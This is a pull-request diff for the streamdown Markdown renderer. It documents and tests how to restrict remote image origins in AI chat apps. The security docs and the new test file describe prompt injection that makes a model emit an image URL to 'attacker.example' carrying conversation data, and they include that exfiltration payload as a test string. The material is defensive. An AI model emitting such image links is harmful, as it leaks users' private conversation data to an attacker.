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5 changes: 5 additions & 0 deletions .changeset/quiet-images-guard.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
---
"streamdown": patch
---

docs(security): call out that remote images are allowed by default and document restricting image origins for AI chat apps
2 changes: 1 addition & 1 deletion apps/website/content/docs/configuration.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,7 @@ With `dir="auto"`:

- `rehype-raw` - HTML support
- `rehype-sanitize` - XSS protection and safe HTML rendering
- `rehype-harden` - Security hardening (allows all image and link prefixes, data images enabled)
- `rehype-harden` - Security hardening (permissive by default: allows all image and link prefixes, data images enabled; see [Security](/docs/security) to restrict image origins for AI chat apps)

**Default Remark Plugins:**

Expand Down
16 changes: 16 additions & 0 deletions apps/website/content/docs/security.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,10 @@ The default `rehype-sanitize` schema allows `http`, `https`, `irc`, `ircs`, `mai

This works well for trusted content but should be tightened for untrusted sources.

<Callout type="warning">
**Building an AI chat UI? Restrict image origins.** With the defaults, an image such as `![](https://attacker.example/p?d=...)` is requested by the browser as soon as the message renders, with no user action. If a model's context contains attacker-controlled text (a fetched web page, a tool result, a stored record), prompt injection can make it emit such an image with conversation data in the URL. Set `allowedImagePrefixes` to the origins you trust and `allowDataImages: false`, as shown in [Restricting Images](#restricting-images) and [Protecting Against Prompt Injection](#protecting-against-prompt-injection). Raw `<img>` tags are covered by the same `rehype-harden` setting, so you do not need to disable `rehype-raw` for this.
</Callout>

## Restricting Protocols

By default, all protocols are allowed. You can restrict which URL protocols are permitted:
Expand Down Expand Up @@ -156,10 +160,14 @@ Similarly, restrict which domains can serve images:
[
harden,
{
// Required whenever allowedImagePrefixes or allowedLinkPrefixes is not "*"
defaultOrigin: 'https://your-app.com',
allowedImagePrefixes: [
'https://your-cdn.com',
'https://trusted-images.com',
],
allowedLinkPrefixes: ['*'],
allowedProtocols: ['*'],
allowDataImages: false, // Disable base64 images
},
],
Expand All @@ -169,6 +177,12 @@ Similarly, restrict which domains can serve images:
</Streamdown>
```

Images whose URL does not start with one of the allowed prefixes are not rendered, so the browser never requests them. This applies to both Markdown images (`![](...)`) and raw `<img>` tags.

<Callout type="info">
`rehype-harden` throws if `allowedImagePrefixes` or `allowedLinkPrefixes` is set to anything other than `["*"]` without a `defaultOrigin`.
</Callout>

### Data Images

Base64-encoded images (`data:image/...`) can be disabled:
Expand Down Expand Up @@ -277,6 +291,8 @@ export default function Page() {

Without `rehype-raw`, HTML tags will be escaped and displayed as text.

Omitting `rehype-raw` does not restrict Markdown images (`![](...)`). To control where images can load from, configure `allowedImagePrefixes` on `rehype-harden` as described in [Restricting Images](#restricting-images).

## Relative URLs

Control how relative URLs are handled:
Expand Down
143 changes: 143 additions & 0 deletions packages/streamdown/__tests__/image-origin-hardening.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,143 @@
import { render } from "@testing-library/react";
import { harden } from "rehype-harden";
import { describe, expect, it } from "vitest";
import { defaultRehypePlugins, Streamdown } from "../index";

// A prompt-injected model can emit an image whose URL carries conversation
// data. The browser requests it as soon as the message renders.
const exfilMarkdown = "![](https://attacker.example/p?d=secret)";

const imageSources = (container: HTMLElement) =>
Array.from(container.querySelectorAll("img")).map((img) =>
img.getAttribute("src")
);

describe("remote image origins (rehype-harden)", () => {
it("documents the default: images from any origin are rendered", () => {
const { container } = render(
<Streamdown mode="static">{exfilMarkdown}</Streamdown>
);

expect(imageSources(container)).toContain(
"https://attacker.example/p?d=secret"
);
});

it("documents the default: raw <img> HTML from any origin is rendered", () => {
const { container } = render(
<Streamdown mode="static">
{'<img src="https://attacker.example/p?d=secret" alt="x" />'}
</Streamdown>
);

expect(imageSources(container)).toContain(
"https://attacker.example/p?d=secret"
);
});

it("blocks untrusted image origins with the recommended AI-chat config", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{exfilMarkdown}
</Streamdown>
);

expect(imageSources(container)).not.toContain(
"https://attacker.example/p?d=secret"
);
expect(container.innerHTML).not.toContain("attacker.example");
});

it("blocks raw <img> HTML from untrusted origins with the same config", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{'<img src="https://attacker.example/p?d=secret" alt="x" />'}
</Streamdown>
);

expect(container.innerHTML).not.toContain("attacker.example");
});

it("still renders images from an allowed origin", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["https://cdn.example.com/"],
defaultOrigin: "https://app.example.com",
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{"![ok](https://cdn.example.com/a.png)"}
</Streamdown>
);

expect(imageSources(container)).toContain("https://cdn.example.com/a.png");
});

it("blocks data: images when allowDataImages is false", () => {
const { container } = render(
<Streamdown
mode="static"
rehypePlugins={[
defaultRehypePlugins.raw,
defaultRehypePlugins.sanitize,
[
harden,
{
allowedImagePrefixes: ["*"],
allowedLinkPrefixes: ["*"],
allowedProtocols: ["*"],
allowDataImages: false,
},
],
]}
>
{"![]()"}
</Streamdown>
);

expect(container.innerHTML).not.toContain("data:image");
});
});
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